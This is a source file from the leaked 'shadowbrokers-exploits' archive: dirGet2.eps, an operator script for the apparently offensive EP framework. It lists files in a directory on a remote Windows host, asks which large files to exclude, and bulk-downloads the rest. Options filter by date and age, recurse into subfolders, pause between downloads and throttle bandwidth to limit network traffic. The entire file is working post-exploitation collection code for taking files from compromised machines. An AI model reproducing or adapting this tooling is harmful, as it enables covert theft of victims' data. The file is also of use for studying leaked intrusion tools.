shadowbrokers-exploits/windows/Resources/Ep/Scripts/dirGet2.eps
2017-04-14 11:45:07 +02:00

367 lines
No EOL
11 KiB
PostScript

#--------------------------------------------------------
# File: dirGet2.eps
#
# Script will alert the user to all files in excess of ALERTSIZE and allow
# them to specify which ones they want to include in the download
#--------------------------------------------------------
# Ensure the user doesn't crash/slow EP (stores log dir in memory)
int $MAXFILES = 1000;
string $commandLineOption;
string $beforeDATE;
string $afterDATE;
string $directory;
string $timeType;
string $fileMask;
int $alertSize = 2000000;
int $pauseCount;
int $ageHours;
int $throttleBytes;
int $counter = 0;
int $totalSize = 0;
int $numberOfFiles = 0;
bool $recursiveFlag = false;
bool $individualFlag = false;
bool $foregroundFlag = false;
bool $maxFileLimit = false;
string $temp;
@echo off;
@case-sensitive off;
#--------------------------------------------------------
# Parse the command line options
#--------------------------------------------------------
if ($argc == 1) {
$argv[1] = "-help";
}
while (defined($argv[$counter])) {
$temp = split("-", $argv[$counter]);
$counter += 1;
if (defined($temp[1])) {
$commandLineOption = $temp[1];
if (($commandLineOption == "h") || ($commandLineOption == "help") || ($commandLineOption == "?")) {
echo "\nUsage: script dirGet2.eps _Options_";
echo " Get all/some files from a directory. The script attempts to use the get";
echo " command with a mask, but downloads the files individually if the user";
echo " chooses to exclude some files.";
echo "\nOptions:";
echo " [-path <pathname>] - REQUIRED";
echo " Gets the files from specified directory";
echo " [-mask <filemask>] - REQUIRED";
echo " Gets only the files with the specified mask. Default = *.*";
echo " [-alert <filesize>]";
echo " Alert the user to any file larger than filesize. Default = 2000000";
echo " [-after <MM/DD/YYYY>]";
echo " Only get files with timestamps after the given date";
echo " [-before <MM/DD/YYYY>]";
echo " Only get files with timestamps before the given date";
echo " [-age <hours>]";
echo " Retrieves files that are at most 'hours' old";
echo " [-time <accessed|created|modified>]";
echo " Time type to use in after/before/age. Default = modified";
echo " [-pause <#>]";
echo " Pause after every # downloads (doesn't work if getting all files)";
echo " [-throttle <# bytes>]";
echo " Reduces the network traffic for the download to # bytes per second";
echo " [-individual] or [-i]";
echo " Force individual file download, even if you want to get ALL files";
echo " [-recursive] or [-r]";
echo " Get files in subdirectories also";
echo " [-foreground] or [-f]";
echo " Get files one at a time (don't put them in the background)";
return true;
} else if (($commandLineOption == "r") || ($commandLineOption == "recursive")) {
$recursiveFlag = true;
} else if (($commandLineOption == "i") || ($commandLineOption == "individual")) {
$individualFlag = true;
} else if (($commandLineOption == "f") || ($commandLineOption == "foreground")) {
$foregroundFlag = true;
} else {
if (defined($argv[$counter])) {
if ($commandLineOption == "path") {
$directory = $argv[$counter];
} else if ($commandLineOption == "mask") {
$fileMask = $argv[$counter];
} else if ($commandLineOption == "after") {
$afterDATE = $argv[$counter];
} else if ($commandLineOption == "before") {
$beforeDATE = $argv[$counter];
} else if ($commandLineOption == "age") {
$ageHours = <int>$argv[$counter];
} else if ($commandLineOption == "time") {
$timeType = $argv[$counter];
} else if ($commandLineOption == "alert") {
$alertSize = <int>$argv[$counter];
} else if ($commandLineOption == "pause") {
$pauseCount = <int>$argv[$counter];
} else if ($commandLineOption == "throttle") {
$throttleBytes = <int>$argv[$counter];
} else if ($commandLineOption == "max") {
# Do nothing with Max
} else {
echo "OPTION $temp[1] not recognized (-h for help)";
return false;
}
$counter++;
} else {
echo "OPTION $temp[1] requires data (-h for help)";
return false;
}
}
}
}
ifnot (defined($directory) && defined($fileMask)) {
echo "-PATH and -MASK are a required input fields (-h for help)";
return true;
}
#--------------------------------------------------------
# Create the flags for the dir and get statements that will be executed
#--------------------------------------------------------
string $dirAndGetFlags = "";
if (defined($afterDate)) {
$dirAndGetFlags = "$dirAndGetFlags -after $afterDate";
}
if (defined($beforeDate)) {
$dirAndGetFlags = "$dirAndGetFlags -before $beforeDate";
}
if (defined($ageHours)) {
$dirAndGetFlags = "$dirAndGetFlags -age $ageHours";
}
if (defined($timeType)) {
$dirAndGetFlags = "$dirAndGetFlags -time $timeType";
}
if ($recursiveFlag) {
$dirAndGetFlags = "$dirAndGetFlags -recursive";
}
#--------------------------------------------------------
# Display all files that are > the alert size
#--------------------------------------------------------
@record on;
`log dir $fileMask -path "$directory" $dirAndGetFlags -max $MAXFILES`;
@record off;
bool $selectiveDownload;
string $tempPath = GetCmdData("path");
string $tempName = GetCmdData("name");
int $tempSize = GetCmdData("size");
int $counter2 = 0;
string $option = "a";
int $arrayHolder;
$counter = 0;
while ($counter < sizeof($tempName)) {
$totalSize += $tempSize[$counter];
if ($tempSize[$counter] > 0) {
$numberOfFiles++;
}
if ($tempSize[$counter] >= $alertSize) {
$arrayHolder[$counter2] = $counter;
$counter2++;
if ($counter2 == 1) {
echo "\nLARGE FILES...";
echo "q. Quit";
echo "a. Include all the files in the download";
echo "0. Exclude all the files from the download";
}
echo "$counter2. $tempSize[$counter] - $tempPath[$counter]\\$tempName[$counter]";
}
$counter++;
}
# Ensure the user doesn't crash EP (or slow it down to a crawl)
if ($counter >= $MAXFILES) {
ifnot (prompt "\n\nWARNING...you've reached the max file limit (could be a coincidence). Recommend narrowing the focus of your dirget. Continue?") {
undef($arrayHolder);
undef($tempPath);
undef($tempName);
undef($tempSize);
return false;
} else {
$maxFileLimit = true;
}
}
if ($counter2 > 0) {
$option = GetInput("\nWhich files would you like to EXCLUDE (1 or 1-2 or 1,2-3,5)?");
} else {
echo "No files > $alertSize...";
}
#--------------------------------------------------------
# Parse line that has the files they'd like to include in the download
#--------------------------------------------------------
int $selectiveDownloadList;
$counter = 0;
if ($option == "q") {
return true;
} else if ($option == "a") {
$selectiveDownload = false;
} else if ($option == "0") {
$selectiveDownload = true;
$selectiveDownloadList = $arrayHolder;
while ($counter < sizeof($arrayHolder)) {
$numberOfFiles--;
$totalSize -= $tempSize[$arrayHolder[$counter]];
$selectiveDownloadList[$counter] = $arrayHolder[$counter];
$counter++;
}
} else {
$selectiveDownload = true;
string $values = split(",", $option);
string $values2;
string $value;
int $begin;
int $end;
foreach $value ($values) {
$values2 = split("-", $value);
$begin = <int>$values2[0];
$begin -= 1;
if (defined($values2[1])) {
$counter2 = $begin;
$end = <int>$values2[1];
$end -= 1;
while (($counter2 >= $begin) && ($counter2 <= $end)) {
if (defined($arrayHolder[$counter2])) {
$numberOfFiles--;
$totalSize -= $tempSize[$arrayHolder[$counter2]];
$selectiveDownloadList[$counter] = $arrayHolder[$counter2];
$counter += 1;
}
$counter2 += 1;
}
} else {
if (defined($arrayHolder[$begin])) {
$numberOfFiles--;
$totalSize -= $tempSize[$arrayHolder[$begin]];
$selectiveDownloadList[$counter] = $arrayHolder[$begin];
$counter += 1;
}
}
}
}
undef($arrayHolder);
#--------------------------------------------------------
# Sets the throttleing if appropriate
#--------------------------------------------------------
if (defined($throttleBytes)) {
`throttle -enable $throttleBytes`;
}
#--------------------------------------------------------
# Run the get statement on all applicable files
#--------------------------------------------------------
int $tempList;
bool $continue;
# Exit if there are no files to download
if ($numberOfFiles == 0) {
echo "No files match your mask and path...";
return true;
}
# Make sure the user really wants to continue
ifnot (prompt "Really download $numberOfFiles files / $totalSize bytes?") {
return true;
}
if (($selectiveDownload == false) && ($individualFlag == false)) {
if ($maxFileLimit) {
$dirAndGetFlags = "$dirAndGetFlags -max $numberOfFiles";
} else {
$dirAndGetFlags = "$dirAndGetFlags -max 0";
}
@echo on;
echo "Downloading ALL $fileMask files within given date range (if specified)";
if ($foregroundFlag) {
`get $fileMask -path "$directory" $dirAndGetFlags -foreground`;
} else {
`get $fileMask -path "$directory" $dirAndGetFlags`;
`channels`;
}
} else {
int $pauseCounter = 0;
int $temp;
$counter = 0;
$counter2 = 0;
int $counter3 = sizeof($tempName);
while ($counter < sizeof($tempName)) {
$continue = true;
# If the user chose to exclude some files...check the exclude list
if ($selectiveDownload) {
foreach $tempList ($selectiveDownloadList) {
if ($counter == $tempList) {
$continue = false;
break;
}
}
}
if ($continue) {
# $tempSize = 0 is a directory
ifnot ($tempSize[$counter] == 0) {
if ($foregroundFlag) {
if (`get "$tempPath[$counter]\\$tempName[$counter]" -foreground`) {
echo "$numberOfFiles. Downloading \"$tempPath[$counter]\\$tempName[$counter]\" - $tempSize[$counter]";
} else {
echo "$numberOfFiles. Downloading \"$tempPath[$counter]\\$tempName[$counter]\" - $tempSize[$counter] - !!! FAILED !!!";
}
} else {
if (`get "$tempPath[$counter]\\$tempName[$counter]"`) {
echo "$numberOfFiles. Downloading \"$tempPath[$counter]\\$tempName[$counter]\" - $tempSize[$counter]";
} else {
echo "$numberOfFiles. Downloading \"$tempPath[$counter]\\$tempName[$counter]\" - $tempSize[$counter] - !!! FAILED !!!";
}
}
# If the user chose to pause after every X downloads
if (defined($pauseCount)) {
$temp = $counter2;
$temp++;
$temp %= $pauseCount;
if ($temp == 0) {
ifnot (prompt "Continue?") {
return false;
}
}
}
$counter2++;
$counter3--;
$numberOfFiles--;
}
}
$counter++;
}
}
#--------------------------------------------------------
# Turns off throttleing if apprpriate
#--------------------------------------------------------
if (defined($throttleBytes)) {
@echo off;
`throttle -disable`;
}
undef($selectiveDownloadList);
undef($arrayHolder);
undef($tempPath);
undef($tempName);
undef($tempSize);
return true;